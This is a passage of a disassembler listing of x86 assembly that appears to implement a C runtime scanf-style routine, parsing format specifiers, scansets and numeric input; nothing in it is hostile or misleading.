		jmp	short loc_41B48E
; ---------------------------------------------------------------------------


loc_41B46C:				; CODE XREF: sub_41B320+10Cj
		cmp	ebx, 68h
		jz	short loc_41B488
		cmp	ebx, 6Ch
		jz	short loc_41B480
		cmp	ebx, 77h
		jz	short loc_41B483


loc_41B47B:				; CODE XREF: sub_41B320+122j
					; sub_41B320+12Dj ...
		inc	[ebp+var_F]
		jmp	short loc_41B48E
; ---------------------------------------------------------------------------


loc_41B480:				; CODE XREF: sub_41B320+154j
		inc	[ebp+var_D]


loc_41B483:				; CODE XREF: sub_41B320+159j
		inc	[ebp+var_5]
		jmp	short loc_41B48E
; ---------------------------------------------------------------------------


loc_41B488:				; CODE XREF: sub_41B320+14Fj
		dec	[ebp+var_D]
		dec	[ebp+var_5]


loc_41B48E:				; CODE XREF: sub_41B320+107j
					; sub_41B320+10Ej ...
		cmp	[ebp+var_F], 0
		jz	loc_41B3E7
		cmp	[ebp+var_E], 0
		mov	[ebp+arg_4], esi
		jnz	short loc_41B4B3
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_44], eax
		add	eax, 4
		mov	[ebp+arg_8], eax
		mov	eax, [eax-4]
		mov	[ebp+var_2C], eax


loc_41B4B3:				; CODE XREF: sub_41B320+17Fj
		and	[ebp+var_F], 0
		cmp	[ebp+var_5], 0
		jnz	short loc_41B4D1
		mov	al, [esi]
		cmp	al, 53h
		jz	short loc_41B4CD
		cmp	al, 43h
		jz	short loc_41B4CD
		or	[ebp+var_5], 0FFh
		jmp	short loc_41B4D1
; ---------------------------------------------------------------------------


loc_41B4CD:				; CODE XREF: sub_41B320+1A1j
					; sub_41B320+1A5j
		mov	[ebp+var_5], 1


loc_41B4D1:				; CODE XREF: sub_41B320+19Bj
					; sub_41B320+1ABj
		mov	ebx, [ebp+arg_4]
		movzx	esi, byte ptr [ebx]
		or	esi, 20h
		cmp	esi, 6Eh
		mov	[ebp+var_3C], esi
		jz	short loc_41B50A
		cmp	esi, 63h
		jz	short loc_41B4FB
		cmp	esi, 7Bh
		jz	short loc_41B4FB
		push	[ebp+arg_0]
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_41BDAD
		pop	ecx
		jmp	short loc_41B506
; ---------------------------------------------------------------------------


loc_41B4FB:				; CODE XREF: sub_41B320+1C5j
					; sub_41B320+1CAj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41BD7C


loc_41B506:				; CODE XREF: sub_41B320+1D9j
		pop	ecx
		mov	[ebp+var_14], eax


loc_41B50A:				; CODE XREF: sub_41B320+1C0j
		xor	eax, eax
		cmp	[ebp+var_20], eax
		jz	short loc_41B51A
		cmp	[ebp+var_C], eax
		jz	loc_41BCF6


loc_41B51A:				; CODE XREF: sub_41B320+1EFj
		cmp	esi, 6Fh
		jg	loc_41B781
		jz	loc_41BA33
		cmp	esi, 63h
		jz	loc_41B75E
		cmp	esi, 64h
		jz	loc_41BA33
		jle	loc_41B7AB
		cmp	esi, 67h
		jle	short loc_41B57E
		cmp	esi, 69h
		jz	short loc_41B566
		cmp	esi, 6Eh
		jnz	loc_41B7AB
		cmp	[ebp+var_E], 0
		mov	edi, [ebp+var_4]
		jz	loc_41BC61
		jmp	loc_41BC87
; ---------------------------------------------------------------------------


loc_41B566:				; CODE XREF: sub_41B320+229j
		push	64h
		pop	esi


loc_41B569:				; CODE XREF: sub_41B320+480j
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	loc_41B7F3
		mov	[ebp+var_17], 1
		jmp	loc_41B7F8
; ---------------------------------------------------------------------------


loc_41B57E:				; CODE XREF: sub_41B320+224j
		mov	ebx, [ebp+var_14]
		lea	esi, [ebp+var_1C4]
		cmp	ebx, 2Dh
		jnz	short loc_41B59A
		mov	[ebp+var_1C4], bl
		lea	esi, [ebp+var_1C3]
		jmp	short loc_41B59F
; ---------------------------------------------------------------------------


loc_41B59A:				; CODE XREF: sub_41B320+26Aj
		cmp	ebx, 2Bh
		jnz	short loc_41B5B6


loc_41B59F:				; CODE XREF: sub_41B320+278j
		mov	edi, [ebp+arg_0]
		dec	[ebp+var_C]
		inc	[ebp+var_4]
		push	edi
		call	sub_41BD7C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_41B5B9
; ---------------------------------------------------------------------------


loc_41B5B6:				; CODE XREF: sub_41B320+27Dj
		mov	edi, [ebp+arg_0]


loc_41B5B9:				; CODE XREF: sub_41B320+294j
		cmp	[ebp+var_20], 0
		jz	short loc_41B5C8
		cmp	[ebp+var_C], 15Dh
		jle	short loc_41B5CF


loc_41B5C8:				; CODE XREF: sub_41B320+29Dj
		mov	[ebp+var_C], 15Dh


loc_41B5CF:				; CODE XREF: sub_41B320+2A6j
					; sub_41B320+2F2j
		cmp	dword_435E38, 1
		jle	short loc_41B5E4
		push	4
		push	ebx
		call	sub_41BDD1
		pop	ecx
		pop	ecx
		jmp	short loc_41B5EF
; ---------------------------------------------------------------------------


loc_41B5E4:				; CODE XREF: sub_41B320+2B6j
		mov	eax, off_435C2C
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_41B5EF:				; CODE XREF: sub_41B320+2C2j
		test	eax, eax
		jz	short loc_41B614
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41B614
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_41BD7C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_41B5CF
; ---------------------------------------------------------------------------


loc_41B614:				; CODE XREF: sub_41B320+2D1j
					; sub_41B320+2DBj
		cmp	byte_435E3C, bl
		jnz	short loc_41B682
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41B682
		inc	[ebp+var_4]
		push	edi
		call	sub_41BD7C
		mov	ebx, eax
		mov	al, byte_435E3C
		mov	[esi], al
		pop	ecx
		mov	[ebp+var_14], ebx
		inc	esi


loc_41B63D:				; CODE XREF: sub_41B320+360j
		cmp	dword_435E38, 1
		jle	short loc_41B652
		push	4
		push	ebx
		call	sub_41BDD1
		pop	ecx
		pop	ecx
		jmp	short loc_41B65D
; ---------------------------------------------------------------------------


loc_41B652:				; CODE XREF: sub_41B320+324j
		mov	eax, off_435C2C
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_41B65D:				; CODE XREF: sub_41B320+330j
		test	eax, eax
		jz	short loc_41B682
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41B682
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_41BD7C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_41B63D
; ---------------------------------------------------------------------------


loc_41B682:				; CODE XREF: sub_41B320+2FAj
					; sub_41B320+304j ...
		cmp	[ebp+var_1C], 0
		jz	loc_41B71A
		cmp	ebx, 65h
		jz	short loc_41B69A
		cmp	ebx, 45h
		jnz	loc_41B71A


loc_41B69A:				; CODE XREF: sub_41B320+36Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41B71A
		mov	byte ptr [esi],	65h
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_41BD7C
		mov	ebx, eax
		pop	ecx
		cmp	ebx, 2Dh
		mov	[ebp+var_14], ebx
		jnz	short loc_41B6C1
		mov	[esi], al
		inc	esi
		jmp	short loc_41B6C6
; ---------------------------------------------------------------------------


loc_41B6C1:				; CODE XREF: sub_41B320+39Aj
		cmp	ebx, 2Bh
		jnz	short loc_41B6E4


loc_41B6C6:				; CODE XREF: sub_41B320+39Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jnz	short loc_41B6D5
		and	[ebp+var_C], eax
		jmp	short loc_41B6E4
; ---------------------------------------------------------------------------


loc_41B6D5:				; CODE XREF: sub_41B320+3AEj
					; sub_41B320+3F8j
		inc	[ebp+var_4]
		push	edi
		call	sub_41BD7C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_41B6E4:				; CODE XREF: sub_41B320+3A4j
					; sub_41B320+3B3j
		cmp	dword_435E38, 1
		jle	short loc_41B6F9
		push	4
		push	ebx
		call	sub_41BDD1
		pop	ecx
		pop	ecx
		jmp	short loc_41B704
; ---------------------------------------------------------------------------


loc_41B6F9:				; CODE XREF: sub_41B320+3CBj
		mov	eax, off_435C2C
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_41B704:				; CODE XREF: sub_41B320+3D7j
		test	eax, eax
		jz	short loc_41B71A
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41B71A
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		jmp	short loc_41B6D5
; ---------------------------------------------------------------------------


loc_41B71A:				; CODE XREF: sub_41B320+366j
					; sub_41B320+374j ...
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_41BD96
		cmp	[ebp+var_1C], 0
		pop	ecx
		pop	ecx
		jz	loc_41BD26
		cmp	[ebp+var_E], 0
		jnz	loc_41BC87
		inc	[ebp+var_34]
		and	byte ptr [esi],	0
		lea	eax, [ebp+var_1C4]
		push	eax
		movsx	eax, [ebp+var_D]
		push	[ebp+var_2C]
		dec	eax
		push	eax
		call	off_435BF0
		add	esp, 0Ch
		jmp	loc_41BC87
; ---------------------------------------------------------------------------


loc_41B75E:				; CODE XREF: sub_41B320+20Cj
		cmp	[ebp+var_20], eax
		jnz	short loc_41B76D
		inc	[ebp+var_C]
		mov	[ebp+var_20], 1


loc_41B76D:				; CODE XREF: sub_41B320+441j
		cmp	[ebp+var_5], 0
		jle	short loc_41B777
		mov	[ebp+var_16], 1


loc_41B777:				; CODE XREF: sub_41B320+451j
		mov	edi, offset asc_435C28 ; "]"
		jmp	loc_41B88C
; ---------------------------------------------------------------------------


loc_41B781:				; CODE XREF: sub_41B320+1FDj
		mov	eax, esi
		sub	eax, 70h
		jz	loc_41BA2F
		sub	eax, 3
		jz	loc_41B87D
		dec	eax
		dec	eax
		jz	loc_41BA33
		sub	eax, 3
		jz	loc_41B569
		sub	eax, 3
		jz	short loc_41B7CF


loc_41B7AB:				; CODE XREF: sub_41B320+21Bj
					; sub_41B320+22Ej
		movzx	eax, byte ptr [ebx]
		cmp	eax, [ebp+var_14]
		jnz	loc_41BCF6
		dec	[ebp+var_15]
		cmp	[ebp+var_E], 0
		jnz	loc_41BC87
		mov	eax, [ebp+var_44]
		mov	[ebp+arg_8], eax
		jmp	loc_41BC87
; ---------------------------------------------------------------------------


loc_41B7CF:				; CODE XREF: sub_41B320+489j
		cmp	[ebp+var_5], 0
		jle	short loc_41B7D9
		mov	[ebp+var_16], 1


loc_41B7D9:				; CODE XREF: sub_41B320+4B3j
		mov	edi, [ebp+arg_4]
		inc	edi
		mov	[ebp+arg_4], edi
		cmp	byte ptr [edi],	5Eh
		jnz	loc_41B890
		mov	eax, edi
		lea	edi, [eax+1]
		jmp	loc_41B88C
; ---------------------------------------------------------------------------


loc_41B7F3:				; CODE XREF: sub_41B320+24Fj
		cmp	ebx, 2Bh
		jnz	short loc_41B81A


loc_41B7F8:				; CODE XREF: sub_41B320+259j
		dec	[ebp+var_C]
		jnz	short loc_41B809
		cmp	[ebp+var_20], 0
		jz	short loc_41B809
		mov	[ebp+var_F], 1
		jmp	short loc_41B81A
; ---------------------------------------------------------------------------


loc_41B809:				; CODE XREF: sub_41B320+4DBj
					; sub_41B320+4E1j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41BD7C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_41B81A:				; CODE XREF: sub_41B320+4D6j
					; sub_41B320+4E7j
		cmp	ebx, 30h
		jnz	loc_41BA68
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41BD7C
		mov	ebx, eax
		pop	ecx
		cmp	bl, 78h
		mov	[ebp+var_14], ebx
		jz	short loc_41B868
		cmp	bl, 58h
		jz	short loc_41B868
		cmp	esi, 78h
		mov	[ebp+var_1C], 1
		jz	short loc_41B852
		push	6Fh


loc_41B84C:				; CODE XREF: sub_41B320+55Bj
		pop	esi
		jmp	loc_41BA68
; ---------------------------------------------------------------------------


loc_41B852:				; CODE XREF: sub_41B320+528j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_41BD96
		pop	ecx
		pop	ecx
		push	30h
		pop	ebx
		jmp	loc_41BA65
; ---------------------------------------------------------------------------


loc_41B868:				; CODE XREF: sub_41B320+517j
					; sub_41B320+51Cj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41BD7C
		pop	ecx
		mov	ebx, eax
		mov	[ebp+var_14], ebx
		push	78h
		jmp	short loc_41B84C
; ---------------------------------------------------------------------------


loc_41B87D:				; CODE XREF: sub_41B320+46Fj
		cmp	[ebp+var_5], 0
		jle	short loc_41B887
		mov	[ebp+var_16], 1


loc_41B887:				; CODE XREF: sub_41B320+561j
		mov	edi, offset asc_435C20 ; " \t-\r]"


loc_41B88C:				; CODE XREF: sub_41B320+45Cj
					; sub_41B320+4CEj
		or	[ebp+var_18], 0FFh


loc_41B890:				; CODE XREF: sub_41B320+4C3j
		push	20h
		lea	eax, [ebp+var_64]
		push	0
		push	eax
		call	sub_415CA0
		add	esp, 0Ch
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_41B8B4
		cmp	byte ptr [edi],	5Dh
		jnz	short loc_41B8B4
		mov	dl, 5Dh
		inc	edi
		mov	[ebp+var_59], 20h
		jmp	short loc_41B8B7
; ---------------------------------------------------------------------------


loc_41B8B4:				; CODE XREF: sub_41B320+584j
					; sub_41B320+589j
		mov	dl, [ebp+var_35]


loc_41B8B7:				; CODE XREF: sub_41B320+592j
					; sub_41B320+5E1j ...
		mov	al, [edi]
		cmp	al, 5Dh
		jz	short loc_41B91C
		inc	edi
		cmp	al, 2Dh
		jnz	short loc_41B903
		test	dl, dl
		jz	short loc_41B903
		mov	cl, [edi]
		cmp	cl, 5Dh
		jz	short loc_41B903
		inc	edi
		cmp	dl, cl
		jnb	short loc_41B8D6
		mov	al, cl
		jmp	short loc_41B8DA
; ---------------------------------------------------------------------------


loc_41B8D6:				; CODE XREF: sub_41B320+5B0j
		mov	al, dl
		mov	dl, cl


loc_41B8DA:				; CODE XREF: sub_41B320+5B4j
		cmp	dl, al
		ja	short loc_41B8FF
		movzx	edx, dl
		movzx	esi, al
		sub	esi, edx
		inc	esi


loc_41B8E7:				; CODE XREF: sub_41B320+5DDj
		mov	ecx, edx
		mov	eax, edx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		inc	edx
		dec	esi
		jnz	short loc_41B8E7


loc_41B8FF:				; CODE XREF: sub_41B320+5BCj
		xor	dl, dl
		jmp	short loc_41B8B7
; ---------------------------------------------------------------------------


loc_41B903:				; CODE XREF: sub_41B320+5A0j
					; sub_41B320+5A4j ...
		movzx	ecx, al
		mov	dl, al
		mov	eax, ecx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		jmp	short loc_41B8B7
; ---------------------------------------------------------------------------


loc_41B91C:				; CODE XREF: sub_41B320+59Bj
		cmp	byte ptr [edi],	0
		jz	loc_41BD26
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_41B92E
		mov	[ebp+arg_4], edi


loc_41B92E:				; CODE XREF: sub_41B320+609j
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+var_2C]
		dec	[ebp+var_4]
		push	edi
		push	[ebp+var_14]
		mov	[ebp+var_30], esi
		call	sub_41BD96
		pop	ecx
		pop	ecx


loc_41B945:				; CODE XREF: sub_41B320+6BCj
					; sub_41B320+6C4j
		cmp	[ebp+var_20], 0
		jz	short loc_41B959
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	loc_41B9F5


loc_41B959:				; CODE XREF: sub_41B320+629j
		inc	[ebp+var_4]
		push	edi
		call	sub_41BD7C
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+var_14], eax
		jz	short loc_41B9E9
		mov	ecx, eax
		push	1
		and	ecx, 7
		pop	edx
		movsx	ebx, [ebp+var_18]
		shl	edx, cl
		mov	ecx, eax
		sar	ecx, 3
		movsx	ecx, [ebp+ecx+var_64]
		xor	ecx, ebx
		test	edx, ecx
		jz	short loc_41B9E9
		cmp	[ebp+var_E], 0
		jnz	short loc_41B9E1
		cmp	[ebp+var_16], 0
		jz	short loc_41B9D6
		mov	ecx, off_435C2C
		mov	[ebp+var_38], al
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41B9B5
		inc	[ebp+var_4]
		push	edi
		call	sub_41BD7C
		pop	ecx
		mov	[ebp+var_37], al


loc_41B9B5:				; CODE XREF: sub_41B320+686j
		push	dword_435E38
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_3E]
		push	eax
		call	sub_41E709
		mov	ax, [ebp+var_3E]
		add	esp, 0Ch
		mov	[esi], ax
		inc	esi
		inc	esi
		jmp	short loc_41B9D9
; ---------------------------------------------------------------------------


loc_41B9D6:				; CODE XREF: sub_41B320+673j
		mov	[esi], al
		inc	esi


loc_41B9D9:				; CODE XREF: sub_41B320+6B4j
		mov	[ebp+var_2C], esi
		jmp	loc_41B945
; ---------------------------------------------------------------------------


loc_41B9E1:				; CODE XREF: sub_41B320+66Dj
		inc	[ebp+var_30]
		jmp	loc_41B945
; ---------------------------------------------------------------------------


loc_41B9E9:				; CODE XREF: sub_41B320+649j
					; sub_41B320+667j
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_41BD96
		pop	ecx
		pop	ecx


loc_41B9F5:				; CODE XREF: sub_41B320+633j
		cmp	[ebp+var_30], esi
		jz	loc_41BD26
		cmp	[ebp+var_E], 0
		jnz	loc_41BC87
		inc	[ebp+var_34]
		cmp	[ebp+var_3C], 63h
		jz	loc_41BC87
		cmp	[ebp+var_16], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_41BA27
		and	word ptr [eax],	0
		jmp	loc_41BC87
; ---------------------------------------------------------------------------


loc_41BA27:				; CODE XREF: sub_41B320+6FCj
		and	byte ptr [eax],	0
		jmp	loc_41BC87
; ---------------------------------------------------------------------------


loc_41BA2F:				; CODE XREF: sub_41B320+466j
		mov	[ebp+var_D], 1


loc_41BA33:				; CODE XREF: sub_41B320+203j
					; sub_41B320+215j ...
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	short loc_41BA41
		mov	[ebp+var_17], 1
		jmp	short loc_41BA46
; ---------------------------------------------------------------------------


loc_41BA41:				; CODE XREF: sub_41B320+719j
		cmp	ebx, 2Bh
		jnz	short loc_41BA68


loc_41BA46:				; CODE XREF: sub_41B320+71Fj
		dec	[ebp+var_C]
		jnz	short loc_41BA57
		cmp	[ebp+var_20], 0
		jz	short loc_41BA57
		mov	[ebp+var_F], 1
		jmp	short loc_41BA68
; ---------------------------------------------------------------------------


loc_41BA57:				; CODE XREF: sub_41B320+729j
					; sub_41B320+72Fj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41BD7C
		pop	ecx
		mov	ebx, eax


loc_41BA65:				; CODE XREF: sub_41B320+543j
		mov	[ebp+var_14], ebx


loc_41BA68:				; CODE XREF: sub_41B320+4FDj
					; sub_41B320+52Dj ...
		cmp	[ebp+var_30], 0
		jz	loc_41BB81
		cmp	[ebp+var_F], 0
		jnz	loc_41BB5F


loc_41BA7C:				; CODE XREF: sub_41B320+82Cj
		cmp	esi, 78h
		jnz	short loc_41BAD0
		cmp	dword_435E38, 1
		jle	short loc_41BA99
		push	80h
		push	ebx
		call	sub_41BDD1
		pop	ecx
		pop	ecx
		jmp	short loc_41BAA6
; ---------------------------------------------------------------------------


loc_41BA99:				; CODE XREF: sub_41B320+768j
		mov	eax, off_435C2C
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_41BAA6:				; CODE XREF: sub_41B320+777j
		test	eax, eax
		jz	loc_41BB51
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	4
		pop	ecx
		call	sub_41EA40
		push	ebx
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx
		call	sub_41BD45
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_41BB23
; ---------------------------------------------------------------------------


loc_41BAD0:				; CODE XREF: sub_41B320+75Fj
		cmp	dword_435E38, 1
		jle	short loc_41BAE5
		push	4
		push	ebx
		call	sub_41BDD1
		pop	ecx
		pop	ecx
		jmp	short loc_41BAF0
; ---------------------------------------------------------------------------


loc_41BAE5:				; CODE XREF: sub_41B320+7B7j
		mov	eax, off_435C2C
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_41BAF0:				; CODE XREF: sub_41B320+7C3j
		test	eax, eax
		jz	short loc_41BB51
		cmp	esi, 6Fh
		jnz	short loc_41BB0E
		cmp	ebx, 38h
		jge	short loc_41BB51
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	3
		pop	ecx
		call	sub_41EA40
		jmp	short loc_41BB1D
; ---------------------------------------------------------------------------


loc_41BB0E:				; CODE XREF: sub_41B320+7D7j
		push	0
		push	0Ah
		push	[ebp+var_24]
		push	[ebp+var_28]
		call	sub_417E10


loc_41BB1D:				; CODE XREF: sub_41B320+7ECj
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx


loc_41BB23:				; CODE XREF: sub_41B320+7AEj
		inc	[ebp+var_1C]
		lea	eax, [ebx-30h]
		cdq
		add	[ebp+var_28], eax
		adc	[ebp+var_24], edx
		cmp	[ebp+var_20], 0
		jz	short loc_41BB3B
		dec	[ebp+var_C]
		jz	short loc_41BB5F


loc_41BB3B:				; CODE XREF: sub_41B320+814j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41BD7C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_41BA7C
; ---------------------------------------------------------------------------


loc_41BB51:				; CODE XREF: sub_41B320+788j
					; sub_41B320+7D2j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_41BD96
		pop	ecx
		pop	ecx


loc_41BB5F:				; CODE XREF: sub_41B320+756j
					; sub_41B320+819j
		cmp	[ebp+var_17], 0
		jz	loc_41BC45
		mov	eax, [ebp+var_28]
		mov	ecx, [ebp+var_24]
		neg	eax
		adc	ecx, 0
		mov	[ebp+var_28], eax
		neg	ecx
		mov	[ebp+var_24], ecx
		jmp	loc_41BC45
; ---------------------------------------------------------------------------


loc_41BB81:				; CODE XREF: sub_41B320+74Cj
		cmp	[ebp+var_F], 0
		jnz	loc_41BC3D


loc_41BB8B:				; CODE XREF: sub_41B320+90Aj
		cmp	esi, 78h
		jz	short loc_41BBCF
		cmp	esi, 70h
		jz	short loc_41BBCF
		cmp	dword_435E38, 1
		jle	short loc_41BBAA
		push	4
		push	ebx
		call	sub_41BDD1
		pop	ecx
		pop	ecx
		jmp	short loc_41BBB5
; ---------------------------------------------------------------------------


loc_41BBAA:				; CODE XREF: sub_41B320+87Cj
		mov	eax, off_435C2C
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_41BBB5:				; CODE XREF: sub_41B320+888j
		test	eax, eax
		jz	short loc_41BC2F
		cmp	esi, 6Fh
		jnz	short loc_41BBC8
		cmp	ebx, 38h
		jge	short loc_41BC2F
		shl	edi, 3
		jmp	short loc_41BC07
; ---------------------------------------------------------------------------


loc_41BBC8:				; CODE XREF: sub_41B320+89Cj
		lea	edi, [edi+edi*4]
		shl	edi, 1
		jmp	short loc_41BC07
; ---------------------------------------------------------------------------


loc_41BBCF:				; CODE XREF: sub_41B320+86Ej
					; sub_41B320+873j
		cmp	dword_435E38, 1
		jle	short loc_41BBE7
		push	80h
		push	ebx
		call	sub_41BDD1
		pop	ecx
		pop	ecx
		jmp	short loc_41BBF4
; ---------------------------------------------------------------------------


loc_41BBE7:				; CODE XREF: sub_41B320+8B6j
		mov	eax, off_435C2C
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_41BBF4:				; CODE XREF: sub_41B320+8C5j
		test	eax, eax
		jz	short loc_41BC2F
		push	ebx
		shl	edi, 4
		call	sub_41BD45
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_41BC07:				; CODE XREF: sub_41B320+8A6j
					; sub_41B320+8ADj
		inc	[ebp+var_1C]
		cmp	[ebp+var_20], 0
		lea	edi, [edi+ebx-30h]
		jz	short loc_41BC19
		dec	[ebp+var_C]
		jz	short loc_41BC3D


loc_41BC19:				; CODE XREF: sub_41B320+8F2j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41BD7C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_41BB8B
; ---------------------------------------------------------------------------


loc_41BC2F:				; CODE XREF: sub_41B320+897j
					; sub_41B320+8A1j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_41BD96
		pop	ecx
		pop	ecx


loc_41BC3D:				; CODE XREF: sub_41B320+865j
					; sub_41B320+8F7j
		cmp	[ebp+var_17], 0
		jz	short loc_41BC45
		neg	edi


loc_41BC45:				; CODE XREF: sub_41B320+843j
					; sub_41B320+85Cj ...
		cmp	esi, 46h
		jnz	short loc_41BC4E
		and	[ebp+var_1C], 0


loc_41BC4E:				; CODE XREF: sub_41B320+928j
		cmp	[ebp+var_1C], 0
		jz	loc_41BD26
		cmp	[ebp+var_E], 0
		jnz	short loc_41BC87
		inc	[ebp+var_34]


loc_41BC61:				; CODE XREF: sub_41B320+23Bj
		cmp	[ebp+var_30], 0
		jz	short loc_41BC77
		mov	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_28]
		mov	[eax], ecx
		mov	ecx, [ebp+var_24]
		mov	[eax+4], ecx
		jmp	short loc_41BC87
; ---------------------------------------------------------------------------


loc_41BC77:				; CODE XREF: sub_41B320+945j
		cmp	[ebp+var_D], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_41BC84
		mov	[eax], edi
		jmp	short loc_41BC87
; ---------------------------------------------------------------------------


loc_41BC84:				; CODE XREF: sub_41B320+95Ej
		mov	[eax], di


loc_41BC87:				; CODE XREF: sub_41B320+241j
					; sub_41B320+414j ...
		inc	[ebp+var_15]
		inc	[ebp+arg_4]
		mov	esi, [ebp+arg_4]
		jmp	short loc_41BCD4
; ---------------------------------------------------------------------------


loc_41BC92:				; CODE XREF: sub_41B320+93j
		inc	[ebp+var_4]
		push	edi
		call	sub_41BD7C
		mov	ebx, eax
		pop	ecx
		movzx	eax, byte ptr [esi]
		inc	esi
		cmp	eax, ebx
		mov	[ebp+var_14], ebx
		mov	[ebp+arg_4], esi
		jnz	short loc_41BD01
		mov	ecx, off_435C2C
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41BCD4
		inc	[ebp+var_4]
		push	edi
		call	sub_41BD7C
		pop	ecx
		movzx	ecx, byte ptr [esi]
		inc	esi
		cmp	ecx, eax
		mov	[ebp+arg_4], esi
		jnz	short loc_41BD0F
		dec	[ebp+var_4]


loc_41BCD4:				; CODE XREF: sub_41B320+970j
					; sub_41B320+99Aj
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_41BCEA
		cmp	byte ptr [esi],	25h
		jnz	short loc_41BD2C
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax+1], 6Eh
		jnz	short loc_41BD2C
		mov	esi, eax


loc_41BCEA:				; CODE XREF: sub_41B320+9B8j
		mov	al, [esi]
		test	al, al
		jnz	loc_41B34A
		jmp	short loc_41BD26
; ---------------------------------------------------------------------------


loc_41BCF6:				; CODE XREF: sub_41B320+1F4j
					; sub_41B320+491j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	[ebp+var_14]
		jmp	short loc_41BD06
; ---------------------------------------------------------------------------


loc_41BD01:				; CODE XREF: sub_41B320+98Aj
		dec	[ebp+var_4]
		push	edi
		push	ebx


loc_41BD06:				; CODE XREF: sub_41B320+9DFj
		call	sub_41BD96
		pop	ecx
		pop	ecx
		jmp	short loc_41BD26
; ---------------------------------------------------------------------------


loc_41BD0F:				; CODE XREF: sub_41B320+9AFj
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_41BD96
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_41BD96
		add	esp, 10h


loc_41BD26:				; CODE XREF: sub_41B320+1Fj
					; sub_41B320+40Aj ...
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_41BD3D


loc_41BD2C:				; CODE XREF: sub_41B320+9BDj
					; sub_41B320+9C6j
		mov	eax, [ebp+var_34]
		test	eax, eax
		jnz	short loc_41BD40
		cmp	[ebp+var_15], al
		jnz	short loc_41BD40
		or	eax, 0FFFFFFFFh
		jmp	short loc_41BD40
; ---------------------------------------------------------------------------


loc_41BD3D:				; CODE XREF: sub_41B320+A0Aj
		mov	eax, [ebp+var_34]


loc_41BD40:				; CODE XREF: sub_41B320+A11j
					; sub_41B320+A16j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B320	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BD45	proc near		; CODE XREF: sub_41B320+7A3p
					; sub_41B320+8DCp

arg_0		= dword	ptr  4

